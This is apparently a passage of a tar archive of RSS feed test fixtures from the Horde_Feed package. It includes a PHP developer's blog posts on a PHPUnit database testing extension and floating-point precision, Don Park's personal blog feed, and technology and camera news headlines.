href="http://www.ds-o.com/exit.php?url_id=161&amp;entry_id=63" onmouseover="window.status='http://www.ds-o.com/archives/62-PHPDBUnit-Testing-DB-interaction-with-PHPUnit.html';return true;" onmouseout="window.status='';return true;" title="PHPDBUnit Testing DB interaction with PHPUnit">previous postings</a> on the subject the goal of this software is to extend the functionality of PHPUnit to allow using seed data to put a given database into a known state prior to executing each test. It also provides an easy mechanism to compare database contents with an expected dataset.</p><p>The database extension has recently been merged into the PHPUnit 3.2 branch and is scheduled to be released in that version. <a href="http://www.ds-o.com/exit.php?url_id=162&amp;entry_id=63" onmouseover="window.status='http://sebastian-bergmann.de/';return true;" onmouseout="window.status='';return true;" title="Sebastian Bergmann">Sebastian Bergmann</a> will be introducing the extension in his <a title="Advanced Testing with PHPUnit" href="http://www.ds-o.com/exit.php?url_id=163&amp;entry_id=63" onmouseover="window.status='http://works.phparch.com/c/schedule/talk/d2s5/0';return true;" onmouseout="window.status='';return true;">Advanced Testing with PHPUnit</a> talk at <a title="PHP|Works 2007" href="http://www.ds-o.com/exit.php?url_id=164&amp;entry_id=63" onmouseover="window.status='http://works.phparch.com/c/p/index';return true;" onmouseout="window.status='';return true;">PHP|Works 2007</a> in Atlanta September 13 - 14. If you would like to tinker around with the database extension prior to it's release you can always download the latest copy of PHPUnit 3.2 from svn: svn://svn.phpunit.de/phpunit/phpunit/branches/3.2. The source can also be browsed at <a href="http://www.ds-o.com/exit.php?url_id=165&amp;entry_id=63" title="http://www.phpunit.de/browser/phpunit/branches/3.2/PHPUnit/Extensions/Database" onmouseover="window.status='http://www.phpunit.de/browser/phpunit/branches/3.2/PHPUnit/Extensions/Database';return true;" onmouseout="window.status='';return true;">http://www.phpunit.de/browser/phpunit/branches/3.2/PHPUnit/Extensions/Database</a>.</p><p>Please continue reading for an example of how you can now use PHPUnit to even more effectively test data-centric applications.</p> <br /><a href="http://www.ds-o.com/archives/63-PHPUnit-Database-Extension-DBUnit-Port.html#extended">Continue reading "PHPUnit Database Extension (DBUnit Port)"</a> Sun, 02 Sep 2007 15:55:16 -0400 http://www.ds-o.com/archives/63-guid.html PHPDBUnit - Testing DB interaction with PHPUnit http://www.ds-o.com/archives/62-PHPDBUnit-Testing-DB-interaction-with-PHPUnit.html PHP http://www.ds-o.com/archives/62-PHPDBUnit-Testing-DB-interaction-with-PHPUnit.html#comments http://www.ds-o.com/wfwcomment.php?cid=62 10 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=62 nospam@example.com (Mike Lively) <p>It's been a while since I have put anything in the heavily neglected little site of mine so I thought I would start posting some updates on a few little projects I have been working on. I have been spending a considerable amount of time traveling for work so I am not quite as far along in these projects as I would like to be, but I have been making some major head way.</p><p>The project I would like to talk about right now is a port of Java's DBUnit for php that will compliment the PHPUnit test suite. For those of you not familiar with DBUnit, it is a framework that allows you to easily and quickly test php code that modifies and works with database data. The whole idea behind unit testing is testing functions using well defined input and then comparing the output of that function with the values that you expect the function to produce. With database code this is somewhat difficult because you have to ensure that your database is in a known state prior to running your tests. Currenty, in order to do this properly you would find yourself adding significant amounts of code to your test to simply enter data into your database and then you will add even more code to compare the resulting database values with what your expected output. Ending up with something like this:</p><div class="php" style="text-align: left"><br />pdo = <span style="color: #000000; font-weight: bold;">new</span> PDO<span style="color: #66cc66;">&#40;</span>SOME_PDO_DSN<span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">pdo</span>-&gt;<span style="color: #006600;">exec</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"TRUNCATE test_table"</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">pdo</span>-&gt;<span style="color: #006600;">exec</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"INSERT INTO test_table (test_table_id, col1, col2, col3) VALUES (1, 'value1', 'value2', 'value3'),(2, 'value4', 'value5', 'value6')"</span><span style="color: #66cc66;">&#41;</span>;<br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">test_class</span> = <span style="color: #000000; font-weight: bold;">new</span> Foo<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">pdo</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; public <span style="color: #000000; font-weight: bold;">function</span> tearDown<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">pdo</span> = <span style="color: #000000; font-weight: bold;">null</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; public <span style="color: #000000; font-weight: bold;">function</span> testDeleteByCol1<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">test_class</span>-&gt;<span style="color: #006600;">deleteByCol1</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'value1'</span><span style="color: #66cc66;">&#41;</span>;<br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$statement</span> = <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">pdo</span>-&gt;<span style="color: #006600;">query</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"SELECT * FROM test_table"</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$rows</span> = <span style="color: #0000ff;">$statement</span>-&gt;<span style="color: #006600;">fetchAll</span><span style="color: #66cc66;">&#40;</span>PDO::<span style="color: #006600;">FETCH_NUM</span><span style="color: #66cc66;">&#41;</span>;<br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">assertEquals</span><span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/array"><span style="color: #000066;">array</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2</span>, <span style="color: #ff0000;">'value4'</span>, <span style="color: #ff0000;">'value5'</span>, <span style="color: #ff0000;">'value6'</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #0000ff;">$rows</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #66cc66;">&#125;</span><br /><span style="color: #000000; font-weight: bold;">?&gt;</span><br />&#160;</div> <p>This is a fairly simple example and they really only get more complicated from this point forward. In order to the equivelant test using PHPDBUnit you would create a test class as follows:</p><div class="php" style="text-align: left"><br />test_class = <span style="color: #000000; font-weight: bold;">new</span> Foo<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">getConnection</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; parent::<span style="color: #006600;">setUp</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">/** Must be defined in all dbunit tests **/</span><br />&#160; &#160; &#160; &#160; protected <span style="color: #000000; font-weight: bold;">function</span> getDataSet<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> PHPDBUnit_DataSet_FlatXML<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'_data/dataset.xml'</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">/** <br />&#160; &#160; &#160; &#160;&#160; * This is just an arbitrary function that is getting <br />&#160; &#160; &#160; &#160;&#160; * a database connection...this could be implemented anyway <br />&#160; &#160; &#160; &#160;&#160; * you see fit. <br />&#160; &#160; &#160; &#160;&#160; */</span><br />&#160; &#160; &#160; &#160; private <span style="color: #000000; font-weight: bold;">function</span> getConnection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">/** <br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; * I don't necessarily advocate this method of getting a <br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; * connection. This part of DBUnit has just not been <br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; * implemented fully yet.<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; */</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">$GLOBALS</span><span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">'phpdbunit_connection'</span><span style="color: #66cc66;">&#93;</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; public <span style="color: #000000; font-weight: bold;">function</span> testDeleteByCol1<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">test_class</span>-&gt;<span style="color: #006600;">deleteByCol1</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'value1'</span><span style="color: #66cc66;">&#41;</span>;<br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">assertDataSetEquals</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> PHPDBUnit_DataSet_FlatXML<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'_data/expected.xml'</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #0000ff;">$this</span>-&gt;<span style="color: #006600;">getConnection</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-&gt;<span style="color: #006600;">getDataSet</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #66cc66;">&#125;</span><br /><span style="color: #000000; font-weight: bold;">?&gt;</span><br />&#160;</div> <p>You will also have to provide two xml files for the above code. This first xml file (dataset.xml) is used to seed the database before every test. The second xml file (expected.xml) is used to compare your database after the test is ran. These two files allow to get the code seeding your database out of your test cases and into their own xml files. There are also other options for generating data sets, I will discuss these options as well as the xml formats for datasets in a future post.</p><p>The database connection functionality is built overtop of PDO and support is planned for all standard pdo drivers. The big question mark for me right now is the ODBC driver. The PDO connection is wrapped by a PHPDBUnit_Database class that provides the functionality to generate datasets from the database to test your data and ensure it is correct.</p><p>The seeding is controlled by two functions that I did not choose to override in my example: getSetUpOperation() and getTearDownOperation(). These functions simply return a database 'operation' that is to be performed on the database connection using the data set returned by getDataSet. The default setUp operation is a clean insert. This is a truncate operation immediately followed by an insert of all data in the dataset. The default tear down operation is a null operation. You have several built-in possibilities for these operations such as Truncate, refresh, and update. You can also create your own operations if necesary.</p><p>My plan is to keep the interface of PHPDBUnit as close as possible to DBUnit while maintaining a more phpish way of doing things. I am planning on the first beta release of PHPDBUnit in July. Of course I welcome feedback on any features you would like to see. In the coming days and weeks I will continue to post more information and examples of how to use DBUnit in your tests.</p> Thu, 21 Jun 2007 01:02:00 -0400 http://www.ds-o.com/archives/62-guid.html 81.4 is evil http://www.ds-o.com/archives/61-81.4-is-evil.html PHP http://www.ds-o.com/archives/61-81.4-is-evil.html#comments http://www.ds-o.com/wfwcomment.php?cid=61 7 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=61 nospam@example.com (Mike Lively) <p>I know many of you all know pretty well that floating point precision and computers don't play nicely with each other. I think I learned about it in the first book on 'C' I ever read, but I had never really been bitten by it until today. I was working with a piece of code today at the office that was throwing an error saying two values weren't zeroing out when they clearly should have been. I narrowed down the problem and after a bit of time decided that 81.4 is a terrible, terrible number. For example:</p> <div class="php" style="text-align: left"><br /><span style="color: #000000; font-weight: bold;">&lt;?php</span><br /><span style="color: #0000ff;">$total</span> = <span style="color: #cc66cc;">100</span> - <span style="color: #cc66cc;">81</span>.<span style="color: #cc66cc;">4</span>;<br /><span style="color: #808080; font-style: italic;">//$total should be 18.6</span><br /><a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">"18.6 == {$total}? "</span> .<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$total</span> == <span style="color: #cc66cc;">18</span>.<span style="color: #cc66cc;">6</span> ? <span style="color: #ff0000;">'yes'</span> : <span style="color: #ff0000;">'no'</span><span style="color: #66cc66;">&#41;</span> .<br />&#160; &#160; &#160; &#160; <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\n</span>"</span>;<br /><a href="http://www.php.net/var_dump"><span style="color: #000066;">var_dump</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">18</span>.<span style="color: #cc66cc;">6</span> - <span style="color: #0000ff;">$total</span><span style="color: #66cc66;">&#41;</span>;<br /><span style="color: #000000; font-weight: bold;">?&gt;</span><br /><br />&#160;</div> <p>So, let that be a lesson to us all. No matter how simple the calculation, don't blindly trust floats.</p> Tue, 02 Jan 2007 22:52:29 -0500 http://www.ds-o.com/archives/61-guid.html Come Work With Me! http://www.ds-o.com/archives/60-Come-Work-With-Me!.html PHP http://www.ds-o.com/archives/60-Come-Work-With-Me!.html#comments http://www.ds-o.com/wfwcomment.php?cid=60 0 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=60 nospam@example.com (Mike Lively) I have recently been very encouraged by the number of job opportunities available to PHP developers lately. In light of this I thought I would make everyone aware of yet another excellent opportunity for a highly motivated, well-versed PHP programmer. The company I recently started working for (<a href="http://www.ds-o.com/exit.php?url_id=152&amp;entry_id=60" onmouseover="window.status='http://sellingsource.com';return true;" onmouseout="window.status='';return true;" target="_blank" title="The Selling Source">The Selling Source</a>) is still hiring PHP Developers. I can say without a doubt that it's a great company to work for and they take very good care of their programmers. Read on for details.<br /> <br /><a href="http://www.ds-o.com/archives/60-Come-Work-With-Me!.html#extended">Continue reading "Come Work With Me!"</a> Fri, 27 Oct 2006 15:02:18 -0400 http://www.ds-o.com/archives/60-guid.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.docuverse.com-blog-donpark-rss.xml0000664000175000017500000003453412653701626030303 0ustar janjan Don Park's Daily Habit http://www.docuverse.com/blog/donpark/ Don Park This file is an RSS 2.0 file, please see: http://blogs.law.harvard.edu/tech/rss for more info. Docuverse Daily Das Keyboard? Nein! http://www.docuverse.com/blog/donpark/2008/07/04/das-keyboard-nein http://www.docuverse.com/blog/donpark/2008/07/04/das-keyboard-nein <p>Vanity comes in all shapes. <a href="http://daskeyboard.com/">Das Keyboard</a> is one of them. I still enjoy old IBM keyboards at home (too noisy for work) but PS2-to-USB adapter I am using to hook it up to my Mac frequently causes glitches so Das Keyboard looked like a potential replacement. But after going through the spec and reviews, it was clearly not.</p> <p>Clicky-clack noise is not why I use old IBM keyboards. Feel of buckling-spring keyboard is. I have yet to find any mechanism that could replicate that feel without actually using springs that buckle under pressure (behavior of buckling spring is <a href="http://www.google.com/search?hl=en&amp;q=catastrophe+theory+buckling+spring">complex</a> to say the least). With buckling-spring, you type WITH the keyboard. Without, you type ON the keyboard. It's the same difference as dancing with a lively partner versus a bad one. </p> <p>Das Keyboard doesn't use buckling-spring (puzzling since IBM's patent expired). It uses mechanical switches (close but not enough). That's the end of story. And, no, there is nothing <a href="http://www.extremetech.com/article2/0,2845,2324503,00.asp">proud about being loud</a>. </p> Fri, 04 Jul 2008 16:27:13 CDT general http://www.docuverse.com/blog/donpark/2008/07/04/das-keyboard-nein#comments Increasing Polarity in News http://www.docuverse.com/blog/donpark/2008/07/03/increasing-polarity-in-news http://www.docuverse.com/blog/donpark/2008/07/03/increasing-polarity-in-news <p>I made this comment elsewhere on the Net, posted here because I don't blog often enough these days: </p> <blockquote><p>I am concerned more about increasing polarity among news media in middle-tier countries like South Korea, liberals and conservatives subscribing only to news mediums that reflect their biases, news mediums fueling biases of their subscribers for monetary or idealistic profit. It's quite an ugly loop of bias that leaves little room for discussion and facts, leaving only room for debates and rumors.</p></blockquote> <p>I've had this view for quite a while now but stating it now because the trend is picking up speed thanks to Internet. What this trend leads to is a vacuum of active moderates, leaving only passive middle in the political spectrum. As polarity grows, each side finds it increasingly difficult to understand the views of the other side, pushing past the point of absurdity and moving toward the point of dehumanization and beyond: violence in the name of patriotic duty. </p> Thu, 03 Jul 2008 14:25:50 CDT general http://www.docuverse.com/blog/donpark/2008/07/03/increasing-polarity-in-news#comments Slow Firework II http://www.docuverse.com/blog/donpark/2008/05/20/slow-firework-ii http://www.docuverse.com/blog/donpark/2008/05/20/slow-firework-ii <p>Watching <a href="http://joi.ito.com/weblog/2008/05/20/video-of-cookin.html">Joi's video of bamboos in his backyard</a> reminded me that I neglected to blog about our cactus which started it's second <em>firework</em> a month ago. It sort of looks like bamboo but no bamboo shoots. I hope it blooms soon because it's getting too tall.</p> <p align="center"><a href="http://www.docuverse.com/blog/donpark/files/notbamboo_2.jpg"><img style="border: 0px none " src="http://www.docuverse.com/blog/donpark/files/notbamboo_thumb.jpg" border="0" alt="notbamboo" width="360" height="480"></img></a> </p> <p>Above picture was taken from my home office with my iPhone (no Leica like Joi and too lazy to climb out of my coding hole). Cactus on the left is what remained from the <a href="http://www.docuverse.com/blog/donpark/2005/03/20/blooming-cactus">first slow mothion firework</a>.</p> <p>Speaking of bamboos, we had bamboos too but it started to spread out of control so we had to get rid of them (tried everything but finally had to get rid of the wooden deck and pave over them with concrete). I still occasionally get nightmares of bamboo breaking out of concrete. </p> Tue, 20 May 2008 17:42:31 CDT general http://www.docuverse.com/blog/donpark/2008/05/20/slow-firework-ii#comments SwitchABit - Server-side Appily? http://www.docuverse.com/blog/donpark/2008/05/17/switchabit---server-side-appily http://www.docuverse.com/blog/donpark/2008/05/17/switchabit---server-side-appily <p>I haven't got around to read about Dave's <a href="http://www.scripting.com/stories/2008/05/15/switchingToSwitchabit.html">SwitchABit</a> until now but it sounds a lot like what I had in mind with <a href="http://www.docuverse.com/blog/donpark/search?q=appily">Appily</a> except, where Appily's approach is client-side, SwitchABit is server-side. Or is it client-side too, like Radio was? Either way, I think Dave is on the ball: personal service combinator. </p> <p>As a business, I think server-side is better but that's seemed less exciting than client-side to me when I was sketching out Appily. I wish I had more time for Appily. What am I doing now? Working my butt off to launch something exciting in the security space.</p> Sat, 17 May 2008 13:48:46 CDT general http://www.docuverse.com/blog/donpark/2008/05/17/switchabit---server-side-appily#comments XP SP3 Suckage http://www.docuverse.com/blog/donpark/2008/05/15/xp-sp3-suckage http://www.docuverse.com/blog/donpark/2008/05/15/xp-sp3-suckage <p>XP SP3 update appears to be running just fine in relatively fresh (5 months) installation of XP running on my laptop's VMware Fusion but not on my PC with 2 year old XP installation. Most annoying symtom is IE7 hanging more than 10 times a day on arbitrary pages. I tried several supposed fixes but to none are working. I've been suspecting that many security vulnerability patches from Microsoft resorted to adding extra synchronization blocks resulting in more frequent pauses and, now, it looks like they've finally gone overboard, leaving IE useless. Uninstalling SP3 until coast is clear.</p> <p>On the Firefox side, I had to abandon Firefox 3.0B5 in favor of a nightly build (ironically named Minefield despite being more stable than B5) because it was crashing too often.&#160;</p> Thu, 15 May 2008 06:24:28 CDT general http://www.docuverse.com/blog/donpark/2008/05/15/xp-sp3-suckage#comments Granting H-1B by Public Review http://www.docuverse.com/blog/donpark/2008/05/07/granting-h-1b-by-public-review http://www.docuverse.com/blog/donpark/2008/05/07/granting-h-1b-by-public-review <p>I think granting H-1B visa by public review might be more effective than the way it's done now. The idea is to let any U.S. citizen participate in to the selection process. One way to do that is, with H-1B application and applicant submitted resume available online, give N opinion points for each volunteer to express positive or negative opinion on N applicants. Authentication can be done with the same way electronic tax filing is done.</p> <p>There is lots of room for abuse but, conceptually, I like this idea.</p> Wed, 07 May 2008 19:57:36 CDT general http://www.docuverse.com/blog/donpark/2008/05/07/granting-h-1b-by-public-review#comments Another Birthday http://www.docuverse.com/blog/donpark/2008/05/03/another-birthday http://www.docuverse.com/blog/donpark/2008/05/03/another-birthday <p>What follows Tax Day in my brain? My birthday. Yup, I took another step toward 50 today, leaving just four more steps left. Oy.</p> <p>I don't like birthdays but I had to give in when my son let me know I was robbing him the pleasure of buying his dad a birthday present. So I let him get me Grand Theft Auto IV. Nice, particularly because I tend to spend most of my time looking at places when I play games. I haven't had the time to play the game yet but I am hoping Liberty City is as well implemented as the cities and valleys in Assassin's Greed where I've been spending an hour every other day just running around or climbing to catch virtual sunsets.</p> <p>It would be cool to play full online world version of GTA. Maybe with stock market as well as fences to sell stolen goods. And it would be cool to have top 1000 bloggers in the game as roadkills, er, residents.</p> Sat, 03 May 2008 17:50:14 CDT general http://www.docuverse.com/blog/donpark/2008/05/03/another-birthday#comments Mad Cow Disease Hysteria in Korea http://www.docuverse.com/blog/donpark/2008/05/02/mad-cow-disease-hysteria-in-korea http://www.docuverse.com/blog/donpark/2008/05/02/mad-cow-disease-hysteria-in-korea <p>Hysteria over mad cow disease is reaching boiling point in South Korea (<a href="http://kr.news.yahoo.com/service/news/shellview.htm?linkid=12&amp;articleid=2008050220090982523&amp;newssetid=82">photos of candle vigil</a>), triggered by recent pre-FTA concession by South Korean President Lee to remove ban against US beef and boosted by a timely sensational episode on PD Notebook, a Korean version of 60-minutes.</p> <p>Regardless of all the arguments for or against US beef export to Korea, I find it interesting that people are desensitized to countless deaths-by-car yet hysterical over the possibility of death-by-food. And it's ironic that Korean automakers stand to gain significantly from the US-Korea FTA if it goes through.</p> Fri, 02 May 2008 12:59:45 CDT general korea http://www.docuverse.com/blog/donpark/2008/05/02/mad-cow-disease-hysteria-in-korea#comments Java 6 on Leopard http://www.docuverse.com/blog/donpark/2008/05/01/java-6-on-leopard http://www.docuverse.com/blog/donpark/2008/05/01/java-6-on-leopard <p>Java 6 is now available for Leopard but it's 64-bit only and I've confirmed that Eclipse 3.3 won't run using it. So it's appropriate only for running 64-bit ready Java software (like Tomcat) for now.</p> <p>If you still want to set it as default VM, first try the Java Preference app in:</p> <blockquote><p>/Applications/Utilities/Java </p></blockquote> <p> The app is apparently sensitive to command-level profile changes so it didn't work for me. What worked for me is the following:</p> <blockquote><pre>cd /System/Library/Frameworks/JavaVM.framework/Versions</pre><pre>sudo ln -fhsv 1.6 CurrentJDK</pre><pre>sudo ln -fhsv 1.6 Current</pre></blockquote> <p>To undo above changes, simply repeat the command back to where CurrentJDK and Current symlinks were pointing to. For me, following worked:</p> <blockquote><pre>sudo ln -fhsv 1.5 CurrentJDK</pre><pre>sudo ln -fhsv A Current</pre></blockquote> Thu, 01 May 2008 00:33:34 CDT tech http://www.docuverse.com/blog/donpark/2008/05/01/java-6-on-leopard#comments Mozilla Engineer Needed http://www.docuverse.com/blog/donpark/2008/04/15/mozilla-engineer-needed http://www.docuverse.com/blog/donpark/2008/04/15/mozilla-engineer-needed <p>My company is in need of a consultant in Menlo Park area who is highly knowledgable about mozilla source code platform, enough to build a custom version of Firefox. You must know mozilla's platform layer, network, and security manager layer, XPCOM, and XUL like back of your hand. </p> <p> Please send your resume to me (click on my photo). </p> Tue, 15 Apr 2008 12:50:53 CDT general http://www.docuverse.com/blog/donpark/2008/04/15/mozilla-engineer-needed#comments ././@LongLink000 156 0003740 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.dominopower.com-shares-userland-rss-channeldata.xmlHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.dominopower.com-shares-userland-rss-chann0000664000175000017500000000316712653701626031653 0ustar janjan DominoPower Magazine http://www.dominopower.com/ DominoPower Magazine DominoPower Magazine http://www.dominopower.com/images/dominopowerRSSLogo.gif http://www.dominopower.com/ Google fixes Gmail spam bug http://www.dominopower.com/news/news.html A solution for spreadsheet overload http://www.dominopower.com/news/news.html Palin's email problems exposed http://www.dominopower.com/news/news.html DHS doesn't get cybersecurity http://www.dominopower.com/news/news.html Zenprise eases BlackBerry management http://www.dominopower.com/news/news.html Palin's Yahoo account hijacked http://www.dominopower.com/news/news.html Creating stronger passwords http://www.dominopower.com/news/news.html Laptop, mobile search and seizures http://www.dominopower.com/news/news.html Fastest Norton security ever http://www.dominopower.com/news/news.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.dpreview.com-news-dpr.rdf0000664000175000017500000007371412653701626026462 0ustar janjan Copyright (c) 1998-2007 Digital Photograph Review en-us News: Digital Photography Review (dpreview.com) Digital Photography Review, Latest digital camera news, camera reviews, galleries, technology and comparisons. http://www.dpreview.com/ Mon, 22 Sep 2008 04:48:00 GMT Digital Photography Review (dpreview.com) http://www.dpreview.com/ http://a.img-dpreview.com/images/dprlogo_white_free.gif http://www.dpreview.com/ Nikon AF-S Nikkor 50mm f/1.4G lens Mon, 22 Sep 2008 04:00:00 GMT http://www.dpreview.com/news/0809/08092201nikkor_50mm_1_4glens.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Nikon has today announced a new standard prime lens, the AF-S Nikkor 50mm F1.4G. Headlining the new features is a built-in Silent Wave Motor which enables autofocus with the D60/D40x/D40 DSLRs, but the lens also boasts a brand-new optical system with 8 elements in 7 groups for improved image quality, a circular aperture diaphragm for more attractive background blur, and a barrel design which does not change length on focusing. The lens will be available from December 2008. http://www.dpreview.com/news/0809/08092201nikkor_50mm_1_4glens.asp Panasonic shows HD Micro Four Thirds prototype Sun, 21 Sep 2008 18:06:00 GMT http://www.dpreview.com/news/0809/08092102panasonicHD.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Panasonic has shown a prototype of an HD video micro Four Thirds camera. The camera, which will be part of what Panasonic is calling its Micro G sytem, was shown alongside prototypes of the lenses set out in its Micro Four Thirds lens roadmap. It features a stereo microphone and dedicated movie record button but is of similar dimensions to the already announced G1. http://www.dpreview.com/news/0809/08092102panasonicHD.asp Vincent Laforet on the EOS 5D Mark II, video soon Sun, 21 Sep 2008 15:54:00 GMT http://www.dpreview.com/news/0809/08092101vincentlaforeteos5dmkii.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Renowned (Pulitzer Prize-winning) photographer Vincent Laforet managed to get his hands on a Canon EOS 5D Mark II and seems to be pretty impressed with the results, &quot;...what you can see with your eye in the worst light (such as sodium-vapor street lights at 3 a.m. in Brooklyn) - this camera can capture it with ease.&quot; However he seems even more impressed with the Mark II's video capture, &quot;It produces the best video in low light that I&rsquo;ve ever seen - at 1080p&quot;. There are a few downsampled images on his site but perhaps of more interest to many is the fact that Vincent is planning to publish a video produced using the 5D Mark II, we'll update this article once it's live. http://www.dpreview.com/news/0809/08092101vincentlaforeteos5dmkii.asp Leica M8 firmware 2.00 Sat, 20 Sep 2008 14:27:00 GMT http://www.dpreview.com/news/0809/08092002leicam8firmware200.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Leica has today posted firmware 2.00 for the M8 digital rangefinder. This update adds support for SDHC cards (up to 32 GB) as well as adding an Auto-ISO option (a new feature touted for the M8.2). Installation is carried out by dropping the file onto an SD card. http://www.dpreview.com/news/0809/08092002leicam8firmware200.asp Exclusive Canon EOS 5D Mark II Samples Gallery Sat, 20 Sep 2008 10:36:00 GMT http://www.dpreview.com/news/0809/08092001canoneos5dmarkiigallery.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: We've had a Canon EOS 5D Mark II for a few days now and the London weather has been kind enough to give us one sunny afternoon in which to grab a quick (40 image) samples gallery. Note that this gallery was shot with a Beta (pre-production) camera and so may not be fully representative of a final camera. All samples are provided as JPEG straight from the camera (we don't currently have any RAW conversion software which supports the EOS 5D Mark II). Enjoy! http://www.dpreview.com/news/0809/08092001canoneos5dmarkiigallery.asp Carl Zeiss launches Distagon T* 2.8/21 Fri, 19 Sep 2008 11:15:00 GMT http://www.dpreview.com/news/0809/08091901carl_zeiss_distagon_t_21mm.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Carl Zeiss has launched a modernized version of its highly-regarded Distagon T* 2.8/21 super-wideangle lens. Promising exceptional sharpness across the frame coupled with extremely low chromatic aberration and 